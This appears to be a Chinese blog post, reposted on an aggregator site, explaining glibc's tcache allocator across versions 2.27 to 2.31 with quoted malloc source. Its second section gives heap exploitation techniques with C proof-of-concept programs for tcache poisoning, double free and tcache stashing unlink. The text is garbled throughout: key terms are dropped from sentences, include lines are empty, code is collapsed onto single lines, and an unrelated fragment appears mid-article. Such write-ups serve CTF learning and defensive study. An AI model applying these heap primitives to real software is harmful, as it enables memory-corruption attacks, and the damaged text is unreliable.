首页 >> 大全

0x01 什么是tcache

2023-07-21 大全 26 作者:考证青年

0x01 什么是

全名 local ,它为每个线程创建一个缓存(cache),从而实现无锁的分配算法,有不错的性能提升。性能提升的代价就是安全检测的减少。下面先以.27进行分析,最后再补充.29和.31的改进。

1.1数据结构

新增了两个结构体和uct来管理。只包含一个变量next指向下一个结构。uct的表示对应的数量,*表示对应的链表。每个链表最多包含7个bin

/* We overlay this structure on the user-data portion of a chunk whenthe chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{struct tcache_entry *next;
} tcache_entry;/* There is one of these for each thread, which contains theper-thread cache (hence "tcache_perthread_struct").  Keepingoverall size low is mildly important.  Note that COUNTS and ENTRIESare redundant (we could have just counted the linked list eachtime), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{char counts[TCACHE_MAX_BINS];tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

关于的重要函数,()和(),用于将放入对应的链表中和从对应链表中取出。只是对进行了最简单的是否小于(默认是64)进行检查

/* Caller must ensure that we know tc_idx is valid and there's roomfor more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{tcache_entry *e = (tcache_entry *) chunk2mem (chunk);assert (tc_idx < TCACHE_MAX_BINS);e->next = tcache->entries[tc_idx];tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]);
}/* Caller must ensure that we know tc_idx is valid and there'savailable chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{tcache_entry *e = tcache->entries[tc_idx];assert (tc_idx < TCACHE_MAX_BINS);assert (tcache->entries[tc_idx] > 0);tcache->entries[tc_idx] = e->next;--(tcache->counts[tc_idx]);return (void *) e;
}

结构小结

结构的核心是uct记录了的数量和链表。每次使用之前会先在堆块中分配该结构体的空间。的默认大小为64,有64条单链表。最小为0x20,最大为0x410。申请时最大可申请0x408大小的。每个链表最多包含7个chunk。如果时存在对应的,会优先返回,用完只后才会使用如果free时存在空位会优先填满,再放入或者当中。 1.2 的使用

通过搜索和函数的引用来分析,什么时候会被使用。有4处,第一个为定义,总共3个地方使用了。有5处,第一个为定义,总共4个地方使用。

第1处

在 中对申请大小对应的 chunk进行判断,如果存在对应空闲 chunk则直接进行分配,没有则进入进行分配

void *
__libc_malloc (size_t bytes)
{mstate ar_ptr;void *victim;void *(*hook) (size_t, const void *)= atomic_forced_read (__malloc_hook);if (__builtin_expect (hook != NULL, 0))return (*hook)(bytes, RETURN_ADDRESS (0));
#if USE_TCACHE/* int_free also calls request2size, be careful to not pad twice.  */size_t tbytes;checked_request2size (bytes, tbytes);size_t tc_idx = csize2tidx (tbytes);MAYBE_INIT_TCACHE ();DIAG_PUSH_NEEDS_COMMENT;//判断tc_idx是否在tcache范围内//tcache是否存在//tc_idx对应的链表是否存在节点if (tc_idx < mp_.tcache_bins/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */&& tcache&& tcache->entries[tc_idx] != NULL){return tcache_get (tc_idx);}DIAG_POP_NEEDS_COMMENT;
#endif

第2,3处

在:3729处for循环处理 bin链表时如果存在将目标大小的chunk放入时会将置1,直接调用并返回。

#if USE_TCACHE/* If we've processed as many chunks as we're allowed whilefilling the cache, return one of the cached ones.  */++tcache_unsorted_count;if (return_cached&& mp_.tcache_unsorted_limit > 0&& tcache_unsorted_count > mp_.tcache_unsorted_limit){return tcache_get (tc_idx);}
#endif#define MAX_ITERS       10000if (++iters >= MAX_ITERS)break;}#if USE_TCACHE/* If all the small chunks we found ended up cached, return one now.  */if (return_cached){return tcache_get (tc_idx);}
#endif

第一处

如果释放chunk对应的存在空间,则直接将chunk放入中。

#if USE_TCACHE{size_t tc_idx = csize2tidx (size);if (tcache&& tc_idx < mp_.tcache_bins&& tcache->counts[tc_idx] < mp_.tcache_count){tcache_put (p, tc_idx);return;}}
#endif

在中存在好多处,将和中的bin放入中

第二处:3620:

能执行到这,说明原来的对应中并没有可用bin。将第一个取到的chunk返回,并循环将中的bin放入

		  /* While bin not empty and tcache not full, copy chunks.  */while (tcache->counts[tc_idx] < mp_.tcache_count&& (tc_victim = *fb) != NULL){if (SINGLE_THREAD_P)*fb = tc_victim->fd;else{REMOVE_FB (fb, pp, tc_victim);if (__glibc_unlikely (tc_victim == NULL))break;}tcache_put (tc_victim, tc_idx);}

第三处:3677:

_tmod=0x01_0x01是什么意思

类似第二次。将第一个取到的chunk返回,将剩下的放入

  if (in_smallbin_range (nb)){idx = smallbin_index (nb);bin = bin_at (av, idx);if ((victim = last (bin)) != bin){bck = victim->bk;if (__glibc_unlikely (bck->fd != victim))malloc_printerr ("malloc(): smallbin double linked list corrupted");set_inuse_bit_at_offset (victim, nb);bin->bk = bck;bck->fd = bin;if (av != &main_arena)set_non_main_arena (victim);check_malloced_chunk (av, victim, nb);
#if USE_TCACHE/* While we're here, if we see other chunks of the same size,stash them in the tcache.  */size_t tc_idx = csize2tidx (nb);if (tcache && tc_idx < mp_.tcache_bins){mchunkptr tc_victim;/* While bin not empty and tcache not full, copy chunks over.  */while (tcache->counts[tc_idx] < mp_.tcache_count&& (tc_victim = last (bin)) != bin){if (tc_victim != 0){bck = tc_victim->bk;set_inuse_bit_at_offset (tc_victim, nb);if (av != &main_arena)set_non_main_arena (tc_victim);bin->bk = bck;bck->fd = bin;tcache_put (tc_victim, tc_idx);}}}
#endifvoid *p = chunk2mem (victim);alloc_perturb (p, bytes);return p;}}

第四处:3794

当,,中都没有需要的chunk,则会进入大的for循环处理。当取出的大小(size)和申请的大小(nb)相同时,会将chunk放入中并设置置为1。

          if (size == nb)//申请大小和unsorted取的大小相同时{set_inuse_bit_at_offset (victim, size);if (av != &main_arena)set_non_main_arena (victim);
#if USE_TCACHE/* Fill cache first, return to user only if cache fills.We may return one of these chunks later.  *///如果是tcache先放入tcache中,再取出if (tcache_nb&& tcache->counts[tc_idx] < mp_.tcache_count){tcache_put (victim, tc_idx);return_cached = 1;continue;}else{
#endifcheck_malloced_chunk (av, victim, nb);void *p = chunk2mem (victim);alloc_perturb (p, bytes);return p;
#if USE_TCACHE}
#endif}

0x02 各种漏洞利用方式 2.1

原理:通过覆盖 中的 next,实现任意地址。

下面是中.c简化版,通过修改的next为栈地址,两次分配后得到栈地址。

#include 
#include 
#include int main()
{// disable bufferingsetbuf(stdin, NULL);setbuf(stdout, NULL);size_t stack_var;intptr_t *a = malloc(128);intptr_t *b = malloc(128);free(a);free(b);b[0] = (intptr_t)&stack_var;//修改chunk_b的nextintptr_t *c = malloc(128);malloc(128);//malloc分配到栈中的地址return 0;
}

2.2 dup

类似 dup。但是在时,没有进行检查。

/* Caller must ensure that we know tc_idx is valid and there's roomfor more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{tcache_entry *e = (tcache_entry *) chunk2mem (chunk);assert (tc_idx < TCACHE_MAX_BINS);e->next = tcache->entries[tc_idx];tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]);
}

下面代码是中的.c,连续两次free 。之后连续申请可以申请到同一个。

#include 
#include int main()
{int *a = malloc(8);free(a);free(a);//double freevoid *b = malloc(8);void *c = malloc(8);printf("Next allocated buffers will be same: [ %p, %p ].\n", b, c);return 0;
}

2.3

uct 管理 的结构,如果能控制这个结构体,就能随意控制到任意地址。且一般uct结构体也是使用来创建,在heap的最前面。

常见的利用思路:

1.修改数组,将值设为超过8,当free一个chunk时将不会再进入,方便泄露

2.修改entry数组,可以达到任意地址的目的

2.4 house of

在栈上伪造,free()将会使进入

2.5

当中还有其他bin时,会将剩下的bin放入中,会进入上文第三处:3677:分支,会出现操作,但是缺少了检查,可以使用攻击。

2.6

1.当中有空闲的堆块

2.中有对应的堆块

3.调用(函数会调用),不会从中取得bin,而是会进入上文第三处:3677:,将堆块放入中,由于缺少了检查

4.如果可以控制中的bk为一个,(其中bck就是)则可在+0x10写入一个libc地址。

下面是简化版的

1.构造漏洞环境,中5个bin,中两个bin

2.修改->bk=,设置->bk,[3] = &[2]

3.触发进入目标分枝,按照bk进行循环,则会先取到用于返回,进入while循环将中剩余的放入中,取得,再取到放入中,最后一次调用bck->fd = bin会在[4]中设置libc中的地址

4.再次申请,分配到栈上的。

#include 
#include int main(){unsigned long stack_var[0x10] = {0};unsigned long *chunk_lis[0x10] = {0};unsigned long *target;//设置fake_chunk.bk,如果不设置则bck=0,bck->fd就会报错stack_var[3] = (unsigned long)(&stack_var[2]);//now we malloc 9 chunksfor(int i = 0;i < 9;i++){chunk_lis[i] = (unsigned long*)malloc(0x90);}//put 7 tcachefor(int i = 3;i < 9;i++){free(chunk_lis[i]);}//last tcache binfree(chunk_lis[1]);//now they are put into unsorted binfree(chunk_lis[0]);//chunk0free(chunk_lis[2]);//chunk2//convert into small binmalloc(0xa0);//>0x90,将unsorted中bin放入tcache中malloc(0x90);malloc(0x90);//构造tcache_bin中5个bin//构造small_bin中2个bin small_bin.bk --> chunk0.bk --> chunk2.bk --> stack_var//						small_bin.fd --> chunk2.fd --> chunk0/*VULNERABILITY*/chunk_lis[2][1] = (unsigned long)stack_var;/*VULNERABILITY*/calloc(1,0x90);//malloc and return our fake chunk on stacktarget = malloc(0x90);   return 0;
}

0x03 .29的更新 3.1 结构体改变

1.新增key成员(uct结构体地址)用于防止 free

typedef struct tcache_entry
{struct tcache_entry *next;/* This field exists to detect double frees.  */struct tcache_perthread_struct *key;
} tcache_entry;typedef struct tcache_perthread_struct
{char counts[TCACHE_MAX_BINS];tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

3.2 和的改变

新增的改变都是围绕key进行

1.在调用函数时设置key成员为。

2.在调用函数时设置key成员为null。

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{tcache_entry *e = (tcache_entry *) chunk2mem (chunk);assert (tc_idx < TCACHE_MAX_BINS);/* Mark this chunk as "in the tcache" so the test in _int_free willdetect a double free.  */e->key = tcache;e->next = tcache->entries[tc_idx];tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]);
}
static __always_inline void *
tcache_get (size_t tc_idx)
{tcache_entry *e = tcache->entries[tc_idx];assert (tc_idx < TCACHE_MAX_BINS);assert (tcache->entries[tc_idx] > 0);tcache->entries[tc_idx] = e->next;--(tcache->counts[tc_idx]);e->key = NULL;return (void *) e;
}

3.3 对新增的检测

只有** **对的free新增了key值检测是否等于,防止 free。以后 free需要修改key值才能进行

#if USE_TCACHE{size_t tc_idx = csize2tidx (size);if (tcache != NULL && tc_idx < mp_.tcache_bins){/* Check to see if it's already in the tcache.  */tcache_entry *e = (tcache_entry *) chunk2mem (p);/* This test succeeds on double free.  However, we don't 100%trust it (it also matches random payload data at a 1 in2^ chance), so verify it's not an unlikelycoincidence before aborting.  */if (__glibc_unlikely (e->key == tcache)){tcache_entry *tmp;LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);for (tmp = tcache->entries[tc_idx];tmp;tmp = tmp->next)if (tmp == e)malloc_printerr ("free(): double free detected in tcache 2");/* If we get here, it was a coincidence.  We've wasted afew cycles, but don't abort.  */}if (tcache->counts[tc_idx] < mp_.tcache_count){tcache_put (p, tc_idx);return;}}}
#endif

0x04 .31的更新 4.1 结构体改变

uct结构体count数组由原来的char改成了,结构体大小发生了改变由原来的0x240变成0x280。

typedef struct tcache_perthread_struct
{uint16_t counts[TCACHE_MAX_BINS];tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

4.2 和改变

原本的检查从和中移除,由调用者确保函数调用的安全。

/* Caller must ensure that we know tc_idx is valid and there's roomfor more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{tcache_entry *e = (tcache_entry *) chunk2mem (chunk);/* Mark this chunk as "in the tcache" so the test in _int_free willdetect a double free.  */e->key = tcache;e->next = tcache->entries[tc_idx];tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]);
}/* Caller must ensure that we know tc_idx is valid and there'savailable chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{tcache_entry *e = tcache->entries[tc_idx];tcache->entries[tc_idx] = e->next;--(tcache->counts[tc_idx]);e->key = NULL;return (void *) e;
}

0x05 总结

总体来说利用方式比之前更简单。

参考链接

关于我们

最火推荐

小编推荐

联系我们


版权声明:本站内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 88@qq.com 举报,一经查实,本站将立刻删除。备案号:桂ICP备2021009421号
Powered By Z-BlogPHP.
复制成功
微信号:
我知道了